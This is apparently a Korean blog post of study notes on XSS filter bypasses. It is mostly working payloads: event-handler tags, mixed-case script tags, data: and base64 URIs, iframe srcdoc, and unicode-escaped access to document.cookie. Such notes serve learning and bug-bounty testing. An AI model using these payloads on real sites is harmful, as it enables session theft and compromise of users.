반응형
script 실행을 유도하는 태그들
대표적으로 on 핸들러가 사용한 태그들이 있다. ex) img ,video 등등
<!--onload-->
<img src="abc.jpg" onload="alert(document.domain)">
<!--onerror-->
<img src="#" onerror="alert(document.domain)">
<!--onfocus-->
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!--"autofocus" 옵션을 통해 자동으로 포커스 시킬 수 있음-->
대소문자를 구분해서 인식하는 필터 우회
includes('script')함수등을 사용한 체크(= 대소문자를 구분함)
<sCRipT>alert(document.cookie)</scriPT>
<img src="#" oneRroR=alert(document.cookie) />
등 대소문자 섞어서 우회 가능하다.
Data 스키마를 사용한 필터 우회
x => !/<script[^>]*>[^<]/i.test(x)
<sCrIpt src=data:,alert(document.cookie)></SCRipt>
//스크립트 태그 내에 데이터가 존재하는지 확인하는 필터링 -> src 속성을 이용하여 데이터 입력.\
Data 스킴을 사용해서 주입
x => !/<script[^>]*>[^<]/i.test(x) && !x.includes('document')
--> <sCrIpt src=data:;base64,YWxlcnQoJzEnKQ==></SCRipt>
// base64 인코딩을 통해 필터링 우회
Data 스킴에서 디코딩도 되는구나;;;;
특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회
<!--><img>태그 검사시<-->
<video><source onerror=alert(document.cookie) /></video>
<!-->onerror 이벤트가 발생할 수 있는 다른 태그 사용<-->
<!--><img>태그 검사시<-->
<iframe srcdoc="<img onerror=alert(parent.document.cookie)" />
<!-->iframe으로 html속성 불러오고 안에서 html엔티티로 필터링 우회한 뒤 코드 실행
(parant로 실행 시키는 것은 iframe 외부에서 함수가 작동하도록 한것임)<-->
JavaScript 함수 및 키워드 필터링
Unicode escape sequence
"\uAC00" = "가"
this['al'+'ert']((({'\u0063ookie':x})=>x)(self['\x64ocument'])
computed member access
atob 와 decodeURI 함수 등
javascript: 스키마
url들어오면 정규화 거치기 때문에 \x04등 특수문자가 제거 될 수 있음
===================================================================
더 공부해야할 것 유니코드 코드표, javascript요소들 (this, self 등), data,javascript 스키마들, html 엔티티들
'해킹 > Web' 카테고리의 다른 글
[WebHacking | MAC] Burp Suite for Mac 기본 설정 (HTTPS 동작 오류, 프록시) (0) | 2022.09.29 |
---|---|
[Web Hacking] 용어 정리 (0) | 2020.12.27 |
JSFuck for XSS(XSS를 위해 쓰는 JSFuck 공략!) (0) | 2020.09.06 |
버그바운티 레퍼런스 정리 (0) | 2020.08.06 |
DB별 함수 모음(SQLi 대비용, 계속 업데이트 할 예정) (0) | 2020.08.06 |